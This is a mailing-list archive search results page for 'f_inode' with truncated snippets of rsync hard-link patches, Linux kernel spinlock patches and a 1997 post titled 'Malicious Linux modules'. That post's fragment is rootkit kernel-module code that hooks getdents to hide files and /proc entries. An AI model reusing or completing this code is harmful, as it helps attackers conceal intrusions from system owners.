search for: f_inode

Displaying 6 results from an estimated 6 matches for "f_inode".

Did you mean: d_inode
2004 Jan 25
2
scan for first existing hard-link file
...8 +38,8 @@ static int hlink_compare(struct file_str return file_compare(file1, file2); } -static struct file_struct **hlink_list; -static int hlink_count; +struct file_struct **hlink_list; +int hlink_count; #define LINKED(p1,p2) ((p1)->F_DEV == (p2)->F_DEV \ && (p1)->F_INODE == (p2)->F_INODE) @@ -56,13 +56,14 @@ static void link_idev_data(void) head = hlink_list[start]; while (from < hlink_count-1 && LINKED(hlink_list[from], hlink_list[from+1])) { - hlink_list[from]->F_HEAD = head; + hlink_list[from]->F_INDEX = to; hlink_list[fr...
2004 Jan 24
2
[PATCH] --links-depth for rsync
...ion < 28 ? S_ISREG(st->st_mode) + : !S_ISDIR(st->st_mode) && st->st_nlink > 1) { + if (!file->link_u.idev) { + if (!(file->link_u.idev = new(struct idev))) + out_of_memory("file inode data"); + } + file->F_DEV = st->st_dev; + file->F_INODE = st->st_ino; + } + } +#ifdef HAVE_STRUCT_STAT_ST_RDEV + if (IS_DEVICE(st->st_mode)) + file->u.rdev = st->st_rdev; +#endif +} + +#if SUPPORT_LINKS +void links_depth(struct string_area **ap, struct file_struct * file) +{ + char currbuf[MAXPATHLEN], linkbuf[MAXPATHLEN]; + STRUCT_STAT st...
2020 Jul 02
1
[PATCH 6/8] powerpc/pseries: implement paravirt qspinlocks for SPLPAR
...fb346fd9fc081c Waiman Long 2019-04-04 65 int cpu, id, len; fb346fd9fc081c Waiman Long 2019-04-04 66 u64 sum = 0; fb346fd9fc081c Waiman Long 2019-04-04 67 fb346fd9fc081c Waiman Long 2019-04-04 68 /* fb346fd9fc081c Waiman Long 2019-04-04 69 * Get the counter ID stored in file->f_inode->i_private fb346fd9fc081c Waiman Long 2019-04-04 70 */ fb346fd9fc081c Waiman Long 2019-04-04 71 id = (long)file_inode(file)->i_private; fb346fd9fc081c Waiman Long 2019-04-04 72 fb346fd9fc081c Waiman Long 2019-04-04 73 if (id >= lockevent_num) fb346fd9fc081c Waiman Long 201...
2004 Feb 06
4
memory reduction
...idev = pool_talloc(flist->hlink_pool, + struct idev, 1, "inode_table"); } #endif @@ -668,15 +668,19 @@ void receive_file_entry(struct file_stru #if SUPPORT_HARD_LINKS if (idev_len) { + INO64_T inode; if (protocol_version < 26) { dev = read_int(f); - file->F_INODE = read_int(f); + inode = read_int(f); } else { if (!(flags & XMIT_SAME_DEV)) dev = read_longint(f); - file->F_INODE = read_longint(f); + inode = read_longint(f); + } + if (flist->hlink_pool) { + file->F_INODE = inode; + file->F_DEV = dev; } - file->F_D...
1997 Oct 08
5
Malicious Linux modules
...p; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_i...
2020 Jul 02
12
[PATCH 0/8] powerpc: queued spinlocks and rwlocks
This series adds an option to use queued spinlocks for powerpc, and makes it the default for the Book3S-64 subarch. This effort starts with the generic code so it's very simple but still very performant. There are optimisations that can be made to slowpaths, but I think it's better to attack those incrementally if/when we find things, and try to add the improvements to generic code as